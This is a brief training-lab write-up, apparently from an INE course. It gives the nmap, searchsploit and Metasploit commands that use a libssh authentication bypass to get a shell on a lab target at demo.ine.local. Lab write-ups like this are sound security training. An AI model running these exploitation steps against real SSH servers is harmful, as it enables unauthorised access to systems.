Vulnerable SSH server

Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine. The target machine running a vulnerable SSH server will be accessible at demo.ine.local.

Objective: Get a shell on the target by exploiting the vulnerable server using a suitable Metasploit module.

Tools

The best tools for this lab are:

• Nmap

• Metasploit Framework

Writeup

nmap -sSVC demo.ine.local

searchsploit libssh

msfconsole
use auxiliary/scanner/ssh/libssh_auth_bypass
set rhosts demo.ine.local
set SPAWN_PTY true
run
sessions -i
sessions -i 3